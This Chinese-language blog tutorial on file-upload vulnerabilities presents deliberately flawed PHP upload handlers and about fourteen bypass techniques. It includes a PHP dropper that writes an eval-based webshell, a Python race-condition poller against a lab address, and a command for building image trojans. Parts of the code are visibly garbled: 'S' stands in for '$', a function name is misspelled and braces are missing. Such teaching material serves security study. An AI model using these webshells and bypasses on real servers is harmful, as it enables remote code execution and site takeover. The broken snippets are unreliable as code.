文件上传是现代网络应用中不可或缺的功能,它允许用户将本地文件存储到服务器上,用于后续的处理、分发或备份。
一、基于前端验证的文件上传
文件上传漏洞中的前端验证漏洞是一个常见且危险的问题。这类漏洞的产生主要是因为前端验证机制可以通过多种方式被绕过,从而使得攻击者能够上传恶意文件到服务器。由于前端验证主要依赖于JavaScript,因此只要攻击者能够找到方法绕过JS的验证,就能成功上传恶意文件。
前端HTML代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传——前端验证</title>
</head>
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
<body>
<div style="text-align: center;" >
<br>
<h1>文件上传——前端验证</h1>
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()" action="./file_up.php">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
</div>
</body>
</html>
后端PHP代码file_up.php内容:
<?php
$tmpPath = $_FILES['upload_file']['tmp_name']; //获取文件临时路径
$fileName = $_FILES['upload_file']['name']; //获取文件名
// $Size = $_FILES['upload_file']['size']; //获取文件的大小
// $type = $_FILES['upload_file']['type']; //获取文件类型
// $error = $_FILES['upload_file']['error']; // 导致上传错误的代码
// echo $Size .'<br>';
// echo $type.'<br>';
// echo $error;
// echo $tmpPath;
// echo $fileName;
// move_uploaded_file($tmpPath,'./upload/'.$fileName) or die('文件上传失败');
// echo '上传成功';
// 使用时间戳对上传文件进行重命名,避免图片名字重复造成文件覆盖
$newName = date('Ymd_His.') .end(explode(".",$fileName));
echo $newName;
move_uploaded_file($tmpPath,'./upload/'.$newName) or die('文件上传失败');
echo '上传成功';
?>
在此种方式下常见的绕过验证方式:
1.禁用或修改JavaScript:攻击者可以选择在浏览器中禁用JavaScript或者使用开发者工具修改脚本逻辑,从而直接提交表单。
2.使用代理工具:如Burp Suite可以拦截和修改HTTP请求。
二、基于后端的黑白名单验证
HTML前端代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传——前端验证</title>
</head>
<body>
<div style="text-align: center;" >
<br>
<h1>文件上传——前端验证</h1>
<form enctype="multipart/form-data" method="post" action="./file_up.php">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
</div>
</body>
</html>
后端PHP代码file_up.php文件内容:
<?php
$tmpPath = $_FILES['upload_file']['tmp_name']; //获取文件临时路径
$fileName = $_FILES['upload_file']['name']; //获取文件名
// $Size = $_FILES['upload_file']['size']; //获取文件的大小
// $type = $_FILES['upload_file']['type']; //获取文件类型
// $error = $_FILES['upload_file']['error']; // 导致上传错误的代码
// echo $Size .'<br>';
// echo $type.'<br>';
// echo $error;
// echo $tmpPath;
// echo $fileName;
// move_uploaded_file($tmpPath,'./upload/'.$fileName) or die('文件上传失败');
// echo '上传成功';
// 使用时间戳对上传文件进行重命名,避免图片名字重复造成文件覆盖
//判断后缀
$extName = end(explode(".",$fileName));
if ($extName == 'php'){
die('文件后缀错误');
}
//判断文件类型
$fileType = $type = $_FILES['upload_file']['type'];
echo $fileType;
if ($fileType != 'image/jpeg' && $fileType != 'image/jpeg' && $fileType != 'image/jif'&& $fileType && 'image/png' ){
die('文件类型错误');
}
// 使用时间戳对上传文件进行重命名,避免图片名字重复造成文件覆盖
$newName = date('Ymd_His.') .end(explode(".",$fileName));
// echo $newName;
move_uploaded_file($tmpPath,'./upload/'.$newName) or die('文件上传失败');
echo '上传成功';
?>
三、常见的绕过验证方式:
1.后端只验证Content-type
上传shell.php抓包修改content-type为图片类型:image/jpeg、image/png、image/gif
2.黑名单绕过
用黑名单不允许上传 .asp, .aspx, .php, .jsp后缀的文件,但可以上传 .phtml .phps .php5 .pht,前提是apache的httppd.conf中有如下配置代码:AddType application/x-httpd-php .php .phtml .php5
3.htaccess绕过
黑名单拒绝了几乎所有有问题的后缀名,除了.htaccess 。前提条件(1.mod_rewrite模块开启。2.AllowOverride All) 因此先上传一个.htaccess文件,内容如下: SetHandler application/x-httpd-php 这样当前目录下的所有文件都会当成php来解析,无论是什么后缀名,与文件包含的效果类似
4.点空点绕过
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
根据源码对应的过滤规则得出payload应为.php. .,抓取数据包后在在文件名末尾加上点空点即可进行过滤。访问时为php.(点空格)
5.大小写绕过
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
根据源代码为进行大小写过滤,因此可以使用大小绕过,直接上传shell.PHP即可
6.空格绕过(仅Windows)
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
根据源码内容,发现过滤规则并没有对文件名末尾的空格进行过滤,抓取数据包,在webshell文件名末尾加上空格,即可绕过并且上传。(测试Linux行不行)
7.点绕过
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
根据源码内容,发现过滤规则并没有对文件名末尾的点进行过滤,抓取数据包,在webshell文件名末尾加上点,即可绕过并且上传。
8.$DATA绕过(仅Windows)
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
没有对后缀名中的:::$DATA进行过滤。在php+windows的情况下:如果文件名+:::$DATA会把:::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持:::$DATA之前的文件名。利用windows特性,可在后缀名中加:::$DATA绕过
9.点+空格+点绕过
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
代码先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchr函数来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用1.php. .(点+空格+点)来绕过,访问时为.php.(点空格)
10.双写绕过
$deny_ext=array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
黑名单过滤,将黑名单里的后缀名替换为空且只替换一次,因此可以用双写绕过,上传shell.pphphp
11.%00截断(版本5.3以下)
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
通过源码发现该点是利用了白名单的上传法,截断条件:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态。%00截断原理:将www.xxx.com/abc.php%00.jpg处理为www.xxx.com/abc.php
12.图片马
图片马制作:copy 1.png/b + shell.php photo_shell.php
次方法需要借助文件包含漏洞
13.二次渲染绕过
文件上传二次渲染绕过是一种攻击方式,旨在绕过服务器对上传文件的检查和处理。攻击者会先上传一个恶意的文件,然后通过修改该文件的内容或属性来绕过服务器的安全机制。先上传一张GIF马,再下载,进而用Notepad++打开,将木马放在开头部分,没有发生变化的位置插入,再进行上传,再进行文件包含。
14.条件竞争
条件竞争产生原因,先将文件取个临时名字,判断是否后缀是否在白名单里,如果在则重命名,不在就删除文件,删除文件需要一丢丢的时间,这就是产生条件竞争的原因,后端代码:
// 移动上传文件到上传目录upload下,并且保持原始文件名
if(move_uploaed_file($temp_file, Upload_file))
// 判断文件后缀名是否属于白名单中的一个
if(in_array(Sfile_ext, Sext_arr)){
// 以随机数+日期时间+后缀名的命名规则来定义新文件名,如原始文件名 she11.php.aaa.bbb,则重命名后为xxx.bbb
Simg_path = UPLOAD_PATH . '/'. rand (10,99). date("YmdHis").".".$file_ext;
// 将upload目录下的原始文件名进行重命名
rename($upload_file,$img_path);
Sis_upload = true;
else{
Smsg = "只允许上传.jpgl.pngl.gif类型文件!";
unlink(Supload_file); //直接删除不满足条件的文件
}
else{
Smsg = '上传出错!';
}
因此我们可以上传shell.php只需要在它删除之前访问即可(访问到后shell.php被调用,使用file_put_contents写木马),可以利用burp的intruder模块不断上传,然后我们使用Python不断的访问刷新该地址即可。shelll.php内容:
<?php
file_put_contents("shelltest.php", '<?php @eval($_POST["code"]); ?>');
echo ok;
?>
python内容
import requests, time
while True:
resp =requests.get('http://192.168.112.188/upload-labs/upload/shell2.php')
if resp.status_code == 200 and resp.text == 'ok':
print(resp.text)
break
标签:文件,基于,php,name,ext,file,PHP,上传
From: https://blog.csdn.net/weixin_54799594/article/details/141439336